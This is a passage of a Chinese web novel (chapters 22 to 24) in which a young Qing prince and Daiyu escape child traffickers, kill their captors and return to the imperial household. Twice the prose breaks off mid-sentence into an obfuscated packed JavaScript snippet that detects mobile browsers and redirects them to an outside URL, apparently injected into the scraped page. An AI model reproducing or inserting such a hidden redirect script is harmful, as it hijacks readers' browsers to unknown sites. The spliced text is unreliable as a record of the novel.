不详地预感应验了,胤祺紧紧抓住黛玉的手,防备地看向英莲,飞快地思索着该如何应对。 “刘哥,不好了。”门外突然传来惊恐的喊声。 22.自救 大刀手上仍然提着两个孩子,从门外飞奔而来,凶神恶煞的脸吓得惨白:“刘哥,外面情况不对。” “怎么回事?”刘仁叼着根竹签子,剔着牙慢吞吞地问道,这些年下来,刘仁自诩什么风浪都见过,对于慌成这样的大刀很是嫌弃。 见着大刀手中提溜着的两个孩子,刘仁细小的眼珠子眯起,闪出寒芒:“那边不要?” “不是,刘哥。”冷汗流了大刀一头一脸:“外面情况不对,街上全是官差,城门也关了,不许任何人进出,我们往日里打点好的那些人也不好使了,我找了几家,谁也没见我。” 刘仁阴沉沉地,“噗”地一声将嘴里的牙签吐出:“废物。” “你看好这些小崽子,别让他们跑了。”说完,刘仁一把将大刀推开,打开门走了出去。 大刀随即用铁链,将大门锁住。 大刀走到厢房,将两个小孩往地上一扔,抬眼便瞅着站在胤祺旁边的英莲,能被刘仁选中养着的人,姿容自是出众,大刀对英莲觊觎已经不是一天两天了,只不过一直有刘仁压着,他不敢做什么。 难得这次刘仁不在,只留下这个丫头,就算不能破了身子,到底也能解解馋,至于胤祺他们这些孩子,在大刀眼中,自是不存在的。 英莲被大刀色迷迷地盯着,不自然的缩了缩身子,她将头低低垂下,也不再盯着胤祺和黛玉收拾了,侧着身子就要离开。 “丫头,你就从了哥哥吧。”在英莲快走到门旁边时,一直瞅着她动作的大刀,几大步便迈了过去,一把将英莲的手扯住,英莲控制不住身子,踉踉跄跄往大刀身上倒去。 “真香。”大刀深吸一口气,陶醉地说着。 胤祺在大刀刚伸出手的时候,便将黛玉的眼睛遮住了,嫌恶地看着这场景,英莲长得再如何标志,也不过是个女童罢了,放上辈子还是读小学的年纪,大刀居然对他起了淫.心,其心可诛。 “你放开我!”英莲拼命的用手推着大刀,然而年小力单,脸都憋红了也推不开大刀凑过来的脸,望着眼前之人色欲熏心的模样,英莲眼泪大滴大滴落下,绝望地闭上了眼。 “砰。”闷闷响声从大刀身后传来,大刀的动作一顿,他僵硬地转过身子,英莲只见到大刀的后脑勺上开了一个洞,殷红的鲜血缓缓流下。 顺着大刀的视线望去,英莲见到那个坚决不换衣服的小公子,手上举着凳子,站在妹妹身前,死死地盯着大刀。 人贩子都该死,胤祺早就看这两人不顺眼了,只不过理智一直告诉他,要冷静,别冲动,他不仅要自保,还得保护好林妹妹。因此面对着刘仁的种种行为,他尽管心里恨得要吐血,也硬生生的忍住了,但大刀做的事,实在超过了胤祺的容忍底线,他顾不上其他,抓住手边的东西,便往大刀身上砸去 从小的习武到底还是派上的用场,凳子被大力的掷出,准确地集中了大刀的后脑勺,阻止了他丧心病狂的动作,同时却也激怒了大刀。 “小崽子。”大刀狰狞地笑了,牵扯着脸上的疤痕,更能止小儿夜啼:“毛都没长长,也想学着逞英雄,我会让你知道逞英雄的后果。” 说着,大刀向胤祺扑了过来。 胤祺灵活地将身子一扭,从大刀腋下跑过,大刀一愣,更是生气,追着胤祺而去。胤祺虽然力气不及大刀,但他身形灵活,又从小就被最好的骑射师傅训练,躲避起来得心应手,一时间大刀也对他无可奈何,其他人早就被这番动静吓懵了,瑟瑟发抖地蹲在角落,唯恐被人想起,不大的厢房愣是让胤祺弄出了追逐战的架势。 但胤祺的身形再灵活,厢房的大小也是有限的,大刀有意无意间将胤祺跑向门的路全都截断,将胤祺往屋子角落逼去,最终胤祺避无可避。 “跑啊,再跑啊。”大刀咧嘴笑了,龇出满嘴黄牙:“我看你还怎么跑,落在我手上,你的好日子到了。” 大刀慢慢地走着,享受着猫抓老鼠的愉悦感:“之前没注意,你长得不比英莲那丫头差,反正都是男的,也不怕破了身子,正好让我乐呵乐呵。” 呸,胤祺听着大刀这话,一阵阵的恶心泛上心头,他眼睛猩红,心中发誓,一定要将大刀千刀万剐。 大刀弯着腰,压迫着走向胤祺的方向。一步、两步、三步,大刀离胤祺的距离越来越近了,胤祺手中已经没有趁手的东西,他正准备趁着大刀过来,一头撞上去的时候,却只听见大刀闷哼一声,庞大的身躯直直往地上倒去。 胤祺抬头,只见黛玉费力地举着早先被扔在地上的凳子,而大刀后脑勺的口子愈发大了,血哗哗地流了出来。 见着大刀倒下,黛玉颤抖着的手再也坚持不住,歘地一下将凳子仍在地上,凳子滚了几滚,却无人在意。 “阿哥,你没事吧?” “妹妹,你还好吗?” 两个人异口同声的问了出来,两人对视一眼,压下心头的惊惶,胤祺冷静下来,手指头伸到刀疤的鼻子前,感受到还有呼吸。 胤祺摸着胸口的匕首,那是他最后的杀手锏。皇太后对于胤祺,从来不是千金之子坐不垂堂的养法,蒙古的雄鹰,大清的巴图鲁,怎么会没有防身利器。 乌若第一次将匕首呈上来的时候,胤祺很是震惊,但刚来这个时代的胤祺确实没有安全感,从善如流的将匕首塞进胸口,一来二去的,匕首就和长命锁一般,是胤祺的必备之物。 幸好,幸好刘仁见他们年岁都不大,放松了警惕,没有亲自搜身,也幸好,英莲没有逼着他换衣服,让他保住了救命之物。 胤祺见着躺在地上不时□□地大刀,脸上闪过决然之色,大刀无意识地动着身子,嘴中的□□声愈来愈大,眼皮颤动着,眼见着就要醒过来,胤祺一咬牙,从怀中将匕首掏出。 削铁如泥的匕首犹如切豆腐一般的刺入大刀的脖颈,柱状的血喷射而出,大刀抽搐几下,最终停了下来,此时胤祺身上的衣服已经被鲜血染透。 胤祺冷静地脱下身上的衣裳,按住大刀脖颈,手腕用力将匕首扒了下来,流淌下来的血全被衣服包裹住。 等确认了大刀确实没有了呼吸,胤祺又伸出手在大刀怀里摸上一通,找出被他塞进怀里的钥匙,他拿着匕首的手才忍不住的颤抖,匕首直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|11917053|126999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直掉在了地上。 胤祺是害怕的,上辈子的胤祺玩得再出格,也不过是到世界各处冒险,从未做过违法犯罪的事情,但此时由不得他害怕,必须抓住这个时机自救。 胤祺连忙向英莲望去,只见英莲呆呆地站在原地,不知作何反应。她虽然一直被刘仁关在家里,但也是知事理的人,明白这小公子是为了帮她才做出这般行为。 英莲抖着声音说道:“小公子,他死了。” “是的,他死了。”胤祺死死地掐着手心,忍着想吐的感觉,直勾勾地盯着英莲:“你想不想回家。” “你爹现在不在家里,他又死了,钥匙现在在我手上,你拦不住我的。”胤祺望着英莲,声音淡淡的,却犹如带了迷魂的钩子,直直的往英莲的心中钻:“我家里人许多当官的,只要我能回家,就算翻遍大清的角落,我也一定找到你的家人,只要你告诉我,我如何才能离开这个地方就行了,这个交易很划算是不是。” 胤祺是被刘仁迷晕了掳过来的,只从英莲口中知道这是石头巷,但对于石头巷的情况是半点也不知,他唯恐出了虎穴又入狼口,为了他和黛玉的安全,必须要了解清楚情况。 英莲咬着唇,犹豫着,在她早已模糊的记忆里,她并不是这家的人,但她被刘仁毒打了几年,早就不敢反抗,听着胤祺这过分的要求,她心如乱麻,一时做不出决定。 “姐姐,我想阿娘了。”黛玉突然眼泪汪汪,带着哭腔说到:“阿娘答应了亲手给我做翡翠饺子的,结果看个灯就见不到阿娘了,我还买了灯想送给阿娘呢,姐姐你想你的阿娘吗?” 阿娘,灯会,这几个词反反复复出现在英莲的脑海中,她好像能看见,有个温柔的女子,抱着她亲昵地说着:“英莲,阿娘的宝贝英莲。” 英莲呆呆地站着,等回过神,已经是泪流满面了,她狠狠地擦着脸,终于下定了决心:“好,我告诉你们,这儿是石头巷最里面,你们出门后谁也不能理,顺着巷子往外跑,到了尽头往右边转,如此转过三个巷子,再往前跑,就是街市了,那儿就有官府的人在。” “谢谢姐姐。”胤祺重重点头道谢,然后又看向这一屋子的人,黛玉不用想,她肯定会带着,但是其他的人,该如何决定。 胤祺思索片刻,和几人坦言:“你们是选择跑还是留在这里?跑出去要是被抓了,毒打肯定少不了,说不得丢了性命,但留在这里也不知道拐子会如何处理你们,以后就看各自造化。” 被踹到胤祺旁边的小胖子发着抖说到:“我能和你一道走吗?” 胤祺一愣,望着小胖子期盼的眼神,狠心拒绝:“不行,我也不知前路如何,护不住你。” 小胖子眼中的神采消失,胤祺不忍地承诺:“只要我获救,我一定找人救你。” 小胖子发狠道:“我走,我宁愿死,也不要呆在这里,我想回家。” 其他几人亦做出同样的决定。 正当胤祺抓住黛玉的手,准备离开时,门口的铁链声传来:“开门,快开门。” “完了。”英莲惨白着脸,看向众人:“刘仁回来了。” 23.逃脱 铁链晃动的声音更大,刘仁出去跑了这么一趟,本就气不顺的,这到了家门口,还迟迟不能进门,他更是气得厉害,欲要抬脚踹门,又怕闹出太大的动静引起邻居的注意,他憋着气等着英莲开门,心中不断盘算着要给她个什么教训。 大门外刘仁的声音,就好像催命符,将厢房里的孩子吓得脸色惨白,有那等胆小的,已经啜泣出声。 还是慢了一步是吗,胤祺苦笑着,明明事情发展顺利,只要刘仁再晚回来一刻钟,他们就已经离开了这间屋子,而现在,大刀的死瞒不了多久,一旦刘仁发现此事,绝对会用最残暴的手段对待他们。 死或许不至于,刘仁还指望着靠他大赚一笔,但毒打喂药这些手段,绝对不会吝啬地往他身上招呼。 倘若受罪的只有胤祺一个人,大不了他豁出这条命不要,和刘仁拼了,反正带走了大刀已经不算亏了,万一运气足够好还能回到后世。 可问题是,胤祺不能只考虑自己,他必须竭尽全力护住黛玉,胤祺不敢想象,黛玉被那些人贩子粗暴对待,甚至卖去腌臜地方的情景。 胤祺着急地厉害,绞尽脑汁地想着办法,他这个年纪正面对上刘仁,毫无胜利的希望,必须出其不意、趁其不备才有可能找到生路。 “不许哭。”一个个念头飞快出现在胤祺脑海中,又飞快被他否定,正在这时,一直沉默地注视着大刀的英莲突然低声呵斥,正在哭泣的几个人吓了一跳,想起刘仁的鞭子,赶紧将眼泪擦干。 “你们安静在这儿呆着,千万别发出声音。”英莲低声嘱咐着。 “一切都交给我,放心,会没事的。”英莲眼中划过决然,向大门走去。 胤祺见闻言,和黛玉对视一眼,想着英莲脸上不似往日的坚毅神色,决定暂时相信英莲的话。 毕竟,情况再坏又能坏到哪儿去呢。 胤祺紧紧握住匕首,防备地盯着厢房的门。 “爹,来了。”英莲匆匆走到门边,拿着钥匙将门上的大锁打开,铁链放下来的瞬间,刘仁一脚踹了过来:“怎么这么慢,诚心想将我关在外面吗?” 英莲生生忍了这钻心的疼,她哭着说道:“还请爹爹明鉴,您刚从家里离开,大刀叔便让我给他倒酒,很是喝了几碗,很是耍了些酒疯,好容易才睡着,您老人家回来我当时就想开门,可是钥匙在大刀叔身上,我找了许久才找到。” 刘仁素来便知道大刀的习性,对于英莲的话没有怀疑,他皱着眉往正房走去,冷笑着说道:“老子在外面跑来跑去,他倒好,在家里躺着喝大酒。” 英莲闻言,小跑着进了厨房,又拿起竹勺从酒缸里舀了一壶酒,又气喘吁吁地跑到正房:“爹,您累了,快喝口酒歇歇。” 英莲倒了碗酒递给刘仁,刘仁最是爱酒,有事没事都得喝上两杯,这么在外面走了一遭,又累有渴的他将酒杯接过,一饮而尽,又从英莲手里拿过酒壶,斟了两碗,一饮而尽。 辛辣、刺激地口感顺着刘仁的咽喉而下,他的四肢百骸都舒畅地伸开,望着英莲被泪水浸泡后更加楚楚可怜的脸,刘仁赞到:“我的儿,你出落的越发好了,放心,爹一定给你找个好人家。” 英莲低着头掩盖住眼中的恨意,她在心中默默的数着,一、二、三、四... “那几个小崽子怎么样?”刘仁喝了几碗酒,解了馋,才问到抓来的几个人。 实在不怪刘仁轻视,这些人里最大的也不过是七八岁,被抓到这个屋子里,叫天不应叫地不灵的,还能闹出什么事情,最多哭得声音大点而已。 果然,英莲的回答正如他所料:“爹,他们不敢作妖,女儿进去瞧了几次,一个个的哭得很是伤心,连话都说不出来。” “嗯。”刘仁点点头,又看向英莲:“你去把大刀喊醒,有事要他处理。” 英莲脚尖踟蹰着,却不敢动作,刘仁怒从心头起,他狠狠地瞪了一眼英莲:“怎么,翅膀硬了,现在连我的话都不听了?” “爹爹。”英莲抖着声音:“大刀叔睡觉前吩咐说,没有大事不要喊醒他,女儿不敢去。” “废物。”刘仁挥手便扇了英莲一巴掌,英莲捂着脸,侧着头,半天没能说出话来。 “去和大刀说,让他赶紧将这几个娃处理掉,外面风声紧,不好出手。”刘仁能从街头乞丐,哄得刘鳏夫收养,还顺利接过刘鳏夫的家业,眼力见从来不少。 出了石头巷没走几步,便感受到风声鹤唳的气息,他犹自不死心,又多走了几个街市。也不知发生了何事,只见满街都是穿着兵甲的士兵,家家户户的门都被粗暴的打开,瞧着架势,谁家也不能放过,搜查到石头巷是迟早的事。 任刘仁想破头也想不到,他掳了的几个人里,有了不得的人,这满城的士兵,都是为他而来。 饶是刘仁不知内里,也果断做了决定,家里那几个小崽子,留不得了,一旦士兵搜到刘家,他之前干的那些勾当,就藏不住了。 想到这,刘仁目露凶光,冲着英莲吼道:“还不快去。” 英莲却好似迷了神智一般,呆呆的站着一动不动,刘仁更加暴躁,向她走去:“你等什么!” “我在等...”一直低着头的英莲,突然抬起了头,眼中的愤恨再也遮挡不住。 “娼.妇,你这是 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但这几个孩子这两天被刘仁吓怕了,他们面面相觑,不敢动弹。还是那个小胖子,他一抹脸:“你们不跑,我跑,我娘还在家等着我。” 说完,他头也不回地走了。孩子是再从众不过的人,有了人带头,其他愣在原地的人也纷纷跑了出去。 胤祺从刘仁的话里得知了姑苏城如今的状况,知道没有人敢顶风作案,没急着追过去,他直视着弯着腰平复呼吸的英莲:“我记得你,你放心,我答应你的事,一定做到。” 不知为什么,眼前之人明明还那么小,但英莲就是相信,他说出口的话是认真的,他真的能帮她找回家人。 大滴大滴汗从英莲额头上滴下,她此时才后怕起来:“快跑,等我爹醒了,你们就跑不了了。” 想起刘仁的残暴,英莲打了个哆嗦。 胤祺却不着急走,此时对敌人的仁慈就是对自己的狠心,他皱着眉头,将一直紧紧抓着的黛玉交到英莲手中:“劳烦姐姐帮我照顾一下。” “阿哥,你去哪儿?”黛玉忙忙问着。 “妹妹,我很快就回来。”胤祺说着,向正厅走去。 黛玉瞬间明白了胤祺的意思,她咬着唇,站在原地,默默等着。 没过多久,胤祺手上拿着再次沾上血的匕首慢慢走了过来,紧绷的脸如同被浸在冰水里一般。 “妹妹,我们走。”胤祺从齿缝里逼出这几个字。 黛玉将帕子从怀中掏出,握住胤祺的手,轻柔地擦拭着溅上的鲜血:“阿哥,没事了。” 细腻柔软的手握上的瞬间,胤祺麻木的手才好像有了知觉,他紧紧反握住黛玉的手,向门外跑去。 24.脱险 甄家,康熙脸色阴沉地能滴出水来,从五阿哥被掳走,到现在已经整整一天,姑苏城门全部关闭,不许任何人出入,甚至连江南驻兵都调了一部分进城找人,种种手段下,居然还没找到人。 “一群废物。”再次询问,依旧没有好消息后,康熙忍不住地将手边的镇纸扔下,屋子里摆着的红釉缠枝纹花瓶应声而碎,红釉的碎瓷摊在地上,江知府只觉好似看见了他的鲜血在流淌。 皇帝、太子被刺,五阿哥失踪,摊上一件就是了不得的大事,他这一口气全撞上了,江知府都在数着日子倒计时了,本想奉承康熙,谁承想将人头都要奉承没了,江知府恨不得抽死提出办灯会的自己。 江知府战战兢兢地跪在地上,小心翼翼地呼吸着,唯恐因为呼吸声重了获个杀头之罪。 “臣该死。”江知府重重地将头磕到地上,再抬起来,额头上满是血丝。 “是该死。”中气十足的女声从殿外传来,满室的人都回过头去,却只见腿上未愈的皇太后,被宫人抬着过来。 “皇额娘。”康熙急忙迎上去:“您有事叫儿子过去便好,如何敢劳动您老人家。” “小五那儿一直没有消息,我在后面待着心里也不踏实,干脆到皇帝你这儿来了。”皇太后对着康熙尚能有个好脸色,慈和地解释着。 再瞧着跪在一旁的江知府,皇太后瞬间沉下脸去:“按理说朝廷大事,我不该插手,但这大人实在糊涂,在你治下能有如此匪徒闹出这么大的事情,好在皇帝和太子没有出事,要不然,哀家必然不放过你。” “臣有罪。”江知府汗如雨下,他声音颤抖,磕磕绊绊地请罪。 “还不快滚下去继续找人。”康熙重重闭上眼,这江新真是难当大用。 “微臣遵旨。”江新忙不迭地退了出去,将屋子留给康熙母子。 “皇额娘,您放心,朕一定会找到小五。”康熙将皇太后迎至上坐,对着皇太后柔声安慰。 皇太后依然眉头紧锁,半点心也放不下:“ 我一想到小五现在在受罪,我这心就如果在油锅里熬着,时时刻刻都放不下。” 说着,浑浊的眼泪顺着皇太后的眼角流下。 康熙自诩孝顺,见着皇太后这番神色,当即便要请罪,皇太后嘶哑着嗓子:“这不怪你,都是贼人可恨,万岁爷你也得保重好身子,我们这么多人都指望着你。” “谨遵皇额娘教诲。”康熙忙忙点头,想了想还是说道:“皇额娘,甄忠已经找到了贼人踪迹,是白莲教的人犯的事,现在他和林海正一道在追着白莲教的踪迹,小五很快就能回来的。” “这就好,这就好。”皇太后拍着胸脯顺气,随即又招手叫来苏曼:“你将这好消息也给宜妃送去,让她也能安生一刻。” 苏曼屈膝,忙往宜妃居住的墨韵阁走去。 “还是皇额娘想得周到。”康熙亲自奉上茶:“这乌龙茶最是清热下火,皇额娘万不能因为小五急坏了身子。” 再好的茶到了皇太后手里,也不过就是解渴的玩意儿,她接过冷热适中的茶,一饮而尽,又着急地等着消息。 正在这时,梁九功躬着身子走了进来:“万岁爷,内务府总管葛讷求见。” 康熙略一皱眉,他心中明白葛讷所为何事,但,康熙看一眼皇太后,板着脸呵斥道:“让他等着,朕没工夫见。” 皇太后却站了起来:“万岁爷有事便去处理吧,左右我也不过是等得心焦过来看看,一会儿就回了。” “只一点,”皇太后又喝了口水:“万岁爷您南巡是大事,不能因为一点小事耽搁了,但我没见到胤祺,绝不会离开这儿。” 皇太后的话,斩钉截铁,掷地有声。 康熙暗自叹了口气,果然,皇太后特意过来便是为了这事,而这也正是葛讷求见他,所想询问的事情。 按着计划,南巡队伍在苏州只停两日,按计划转天便要继续南下,然而现在出了这番大事,谁也不知道行程是否继续,就连太子都领着一队人在姑苏城里搜寻着。 “皇额娘,”康熙呼了口气,慢慢劝着:“胤祺的事,朕也深为痛心,但他到底是小辈,如何能烦动您等他呢,您放心,就算咱们离开了姑苏,这边的人也一定会尽心找人,毕竟,林海的闺女也被掳走了。” “再往南边走几天,便能到杭州,那儿的西湖十景堪称一绝。”南巡一事兹事体大,康熙并不打算为了胤祺而停下南巡的脚步,又不是太子被掳走,一个皇阿哥,就算是他颇为宠爱女人生的,也不能耽搁朝廷大事。 “那劳什子的西湖,我不想看,我就在这儿等着你们回来。”对于康熙的提议,皇太后断然拒绝。 皇太后性子一直都很乐呵,从不拒绝康熙的请求,天家母子之间难得发生争执。 康熙抬手,摁住额头处跳动的血管,他诚挚地说道:“皇额娘,让您留在姑苏,儿子实在放心不下。” 皇太后扭过脸,正想说什么,却只听见门外传来一声爽利地声音:“我也不走。” 只见憔悴了许多的宜妃,步履匆匆的走了进来:“万岁爷,臣妾也放心不下胤祺,请您允许臣妾留在姑苏照顾皇太后。” “你怎么来了。”康熙更加头疼,行宫中规矩虽然松散,但他这儿时不时的便要召见大臣,后妃未宣召不得过来,宜妃这明显是犯了忌讳的。 康熙不虞地皱着眉头,对着宜妃便要发怒,然而视线触到宜妃那双布满血丝的眼睛时,到底是喜爱的人,康熙怒火渐渐减少:“胤祺的事情,朕放在心上,你不用留在这里等。” 示意宜妃将皇太后劝回去。 然而宜妃却不如以前一般的知情识趣,她依旧美丽的眸子眨了眨,眼泪簌簌而下:“万岁爷,还请您怜惜臣妾,允许臣妾留下。” “你这是要抗旨不成。”碍于孝道,康熙必须对皇太后好声好气地劝着哄着,但对于宜妃,却不需要顾忌太多,康熙便趁机将宜妃当成筏子,怒声呵斥。 宜妃梗着脖子,艳丽的脸上全是决然之声,她深吸口气,正要说话。 “万岁爷,回来了!”门外的喊声打破了这份剑拔弩张。 顺着声音望去,只见梁九功一步三摔跤地从门外跑了进来。 作为御前公公,梁九功从未有过这么不沉稳的时候,但此时没有任何人在意他的仪态。 “谁回来了,是小五吗?”皇太后最为心急,还不等梁九功行礼,她便赶紧问到。 宜妃抖着嘴唇,没有说话,却满含期待地看过去。 “回太后娘娘,五阿哥回来了。”不等喘匀气,梁九功急忙回禀。 宜妃发出响亮的抽泣声,但她这份难得的失态无人关心。 “小五在哪里?”皇太后忙从椅子上站起,扶着苏曼的手,踉踉跄跄往门的方向走去。 “娘娘。”梁九功终于喘匀了气:“可巧了,五阿哥是被太子爷找到的,他们马上就到了。” 就是这么巧,胤祺牵着黛玉,跟着英莲顺着巷子直往外跑,好不容易奔跑出弯弯绕绕的巷子,到了街上时,正好撞见了太子带人搜查。 精神紧绷了许久的胤祺,在见到胤礽的瞬间,便如同打了针强心针一般,他深吸一口气,大步跑上前去,在胤礽呵退侍卫的声音中一把抱住他的腿。 “好,好,好!”皇太后连声叫好:“太子是个能干的,皇上,你可得好好嘉奖一番。” 康熙的神色,从得知儿子找回的欣喜,变成为太子的骄傲。 但此时康熙想什么,宜妃和皇太后已经顾不上了。 当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|11917054|126999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胤祺被太子领着走进来的瞬间,宜妃的眼泪流得更凶,她顾不上上下尊卑,忙扑到胤祺身前,伸手便将失而复得的儿子抱住。 浓重的血腥味顺着衣服传来,将宜妃吓得白了脸,她连忙松开手:“胤祺,你哪儿受伤了?快告诉额娘。” “太医,太医呢!” 宜妃尖锐的喊声到最后已经破了音,却无人责怪她,毕竟谁会责备一个爱子心切的母亲呢。 “额娘,我没事。”胤祺沉稳地安抚着宜妃:“这不是我的血。” 宜妃见着胤祺镇定的神情,半信半疑地冷静下来,上下摸索着,唯恐出现刀口,胤祺安静地站着,任由宜妃打量。 宜妃一番探查,见着确实没有外伤,这才反应过来之前的失态,忙低垂下头,恢复成端庄典雅的妃嫔模样,轻声请罪:“万岁爷,太后娘娘恕罪,臣妾失态了。” “没事。”皇太后挥了挥手,毫不在意,她只关心一件事:“胤祺可是真没受伤?” 宜妃舒畅地笑了:“臣妾瞧着没有大碍。” “那也让太医来开副药安神。”皇太后还是不放心,嘱咐道。 “皇玛嬷,孙儿没事,这不好好的回来了吗?”胤祺刚安抚了亲妈,又要安慰奶奶,忙得不亦乐乎。 “是啊,皇玛嬷。”和胤祺一同回来的太子,带着淡淡的骄傲说道:“五弟不仅没有受伤,还带着林家小姐以及其他人从歹人家跑了出来。” “不愧是大清的巴图鲁。”在皇太后心中,胤祺就是千好万好的,太子的话一出,当即就笑弯了眼。 “太子,这到底是怎么回事?”康熙原以为是太子带着的人找到了胤祺,并将他解救出来,正在琢磨着要给太子什么赏赐呢,就听见了这番话,他咳嗽两声,连忙向太子询问道。 太子收回隐晦看向宜妃那羡慕的眼神,凝神想了想,恭敬回话:“禀皇阿玛,儿臣与甄大人和林大人兵分三路,各领三分之一江南大营兵力,在姑苏城里搜寻,甄大人及林大人找到歹人同党线索,循着线索一路追去。 儿子率人连夜在姑苏城里家家户户的搜寻,正搜到城南呢,便见着巷子里有好几个幼童跑出,姑苏城里的人谁不知道这两天有大事发生,家家户户紧闭家门,儿子觉着不对,往他们那儿走去,正好撞见五弟。” 儿子粗粗问了几句,听那意思,是五弟将人从歹人手中救出来的,儿子瞧着那几人都累得不成样子,也说不出更多的话,也一并带回了甄家,找了间院子住着,等家里人来接。” 太子这番话下来,皇太后和宜妃都为胤祺骄傲不已,只抱着不撒手,任胤祺如何挣扎都挣扎不出,直到太医过来,才将他放下诊脉。 而康熙的关注点显然不在这个事上,在他看来,作为他的儿子,这事应该做到的,他沉思着,看向正被太医诊脉的胤祺:“你们被掳到了什么地方,那儿的歹人如何与同伙联系?” 白莲教在江南势力猖狂,甚至连刺杀皇帝的事情都能做得出,掳那么多幼童养在家里,其心可诛。 想到宫中的暗卫,康熙眼皮一跳,杀意更盛。 胤祺一瞧,便知道康熙想岔了。胤祺在刚到那破厢房的时候,也是各种阴谋论想个不停,直到听到刘仁和大刀的话,才明白,他纯属倒霉,被路过的人贩子看中,他就是顺手牵羊的那头羊。 不过,好在刘仁他们和刺杀的人没有牵扯,不然他也不能那么顺利地逃出来。 听了胤祺的话,康熙脸颊抽搐,冷厉的神色散了大半,他清了清嗓子吩咐:“折腾了两天,也是累了,喝了药便去休息吧。” 太好了,终于能好好睡一觉了,胤祺到了熟悉的环境,终于在宜妃和皇太后的关怀中睡下。 然而,事与愿违,没睡多久,胤祺便发起了高热。